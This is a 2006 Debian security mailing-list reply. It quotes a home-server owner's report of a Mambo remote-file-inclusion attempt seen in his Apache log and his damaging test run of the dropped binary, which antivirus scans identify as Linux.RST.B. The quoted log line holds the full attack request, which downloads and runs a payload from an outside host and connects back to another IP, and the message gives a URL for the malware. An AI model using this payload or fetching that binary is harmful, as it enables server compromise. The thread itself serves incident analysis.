On Mon, Jan 23, 2006 at 08:31:40AM +0100, Maik Holtkamp wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi,
>
> yesterday morning I found a strange entry in my apache log files (debian
> sarge, apache 1.3, mambo 4.5.3, kernel 2.4.31). It's a dyndns homelan
> Server, just serving my Family and some good friends (normally).
>
> - ---cut---
> 132.248.204.65 - - [19/Jan/2006:07:08:32 +0100] "GET
> /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20212.20
> 3.97.120/sexy;chmod%20744%20sexy;./sexy%2071.137.131.26%208080;00;echo%20YYY;echo|
> HTTP/1.1" 200 28 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
> - ---cut---
>
> As I patched mambo against recent "register global" attack and my /tmp
> is mount noexec, the attack doesn't exploit anything.
>
> However, I curiously downloaded this sexy executable to have a closer look.
>
> - ---cut---
> backup:/home/qmb# ./sexy -h
> ./sexy <host> <port>
> - ---cut---
Never run apps like this as root. Bad bad idea.
If you want more information about this tool, google for "Linux.RST.B"
or "Unix/RST.B".
----cut---
$ f-prot sexy
Virus scanning report - 23 January 2006 @ 4:21
F-PROT ANTIVIRUS
Program version: 4.6.5
Engine version: 3.16.13
VIRUS SIGNATURE FILES
SIGN.DEF created 13 January 2006
SIGN2.DEF created 13 January 2006
MACRO.DEF created 13 January 2006
Search: sexy
Action: Report only
Files: "Dumb" scan of all files
Switches: -ARCHIVE -PACKED -SERVER
/tmp/sexy Infection: Unix/RST.B
Results of virus scanning:
Files: 1
MBRs: 0
Boot sectors: 0
Objects scanned: 1
Infected: 1
Suspicious: 0
Disinfected: 0
Deleted: 0
Renamed: 0
Time: 0:00
--end--
--cut--
$ clamscan sexy
sexy: Linux.RST.B FOUND
----------- SCAN SUMMARY -----------
Known viruses: 35671
Engine version: 0.88
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.01 MB
Time: 0.903 sec (0 m 0 s)
--end--
>
> This host backup (sarge, 2.6.12) is in the second raw of my LAN and just
> used to make rsync backups of LAN hosts to usb hds.
>
> Unfortunately, I was that curious, that I decided to strace it (in spite
> I hardly understand strace):
>
> - ---cut---
> backup:/home/qmb# strace ./sexy
> execve("./sexy", ["./sexy"], [/* 20 vars */]) = 0
> uname({sys="Linux", node="backup", ...}) = 0
> brk(0) = 0x804a000
> old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
> - -1, 0) = 0xb7f13000
> access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
> directory)
> open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or
> directory)
> open("/etc/ld.so.cache", O_RDONLY) = 3
> fstat64(3, {st_mode=S_IFREG|0644, st_size=30780, ...}) = 0
> old_mmap(NULL, 30780, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f0b000
> close(3) = 0
> access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or
> directory)
> open("/lib/tls/libc.so.6", O_RDONLY) = 3
> read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0`Z\1\000"...,
> 512) = 512
> fstat64(3, {st_mode=S_IFREG|0755, st_size=1254468, ...}) = 0
> old_mmap(NULL, 1264780, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xb7dd6000
> old_mmap(0xb7f00000, 36864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
> 3, 0x129000) = 0xb7f00000
> old_mmap(0xb7f09000, 7308, PROT_READ|PROT_WRITE,
> MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f09000
> close(3) = 0
> old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
> - -1, 0) = 0xb7dd5000
> set_thread_area({entry_number:-1 -> 6, base_addr:0xb7dd5460,
> limit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
> limit_in_pages:1, seg_not_present:0, useable:1}) = 0
> munmap(0xb7f0b000, 30780) = 0
> fork() = 11935
> fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
> mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
> 0) = 0xb7f12000
> write(1, "./sexy <host> <port>\n", 21./sexy <host> <port>
> ) = 21
> munmap(0xb7f12000, 4096) = 0
> exit_group(2) = ?
> - ---cut---
>
> After this run the box was hardly damaged:
>
> - - It insists on bringing its NIC to promiscuous mode
> - - ls, grep, gunzip (probably others, too) just give a segmentation
> fault
>
> I tried to investigate further:
>
> - - tcpdump doesn't show any traffic in the net that shouldn't be there
> - - ps ax listed only known processes, all where found in /proc, too
> - - Top doesn't show anything strange
> - - netstat -tulpen doesn't list any ports listening
>
> Trying rebooting failed totally. It tried to run a lot of grep processes
> that didn't run etc.
>
> It took me 2 hours to return to a normal state with this box (booting
> knoppix, backup of corrupted /var, blanking the disc, restoring the
> backup of the night before).
>
> In spite I am not that familiar with strace and no coder, I suppose that
> the program "sexy" damaged the linker (open ld.so.cache) and would have
> tried to open a ptty on the IP/port given on the command line (As I did
> not give any command line arguments, this failed). Probably the guy/bot
> on the other end would have exchanged some libs in this session to
> install the real rootkit on the box.
>
> Right?
>
> Though I already invested some time (restoring the host backup), I would
> be pleased to understand what happened more detailed so any clue is
> appreciated.
>
> If somebody wants to have a closer look at the binary, I think you can
> still get at:
>
> http://212.203.97.120/sexy
>
> Does it make any sense to complain at the abuse teams of the involved
> IPs given in the apache log?
>
> TIA.
>
> BTW: The name of the binary "sexy", doesn't make it easier to STFW :(
>
> PS: Sorry, to all I bothered when sending this message to the private
> list (d-s@debian.org) first.
>
> - --
> - - maik
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQFD1IZcz3bq6aadmI8RAqJ+AKD9sCQ3QepX/lkIdIQ6N920X/k3dACfUXeu
> r7ifEDOnzI4ov5ipc1wpM+k=
> =9wQq
> -----END PGP SIGNATURE-----
>
>
> --
> To UNSUBSCRIBE, email to debian-security-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
>
Attachment:
signature.asc
Description: Digital signature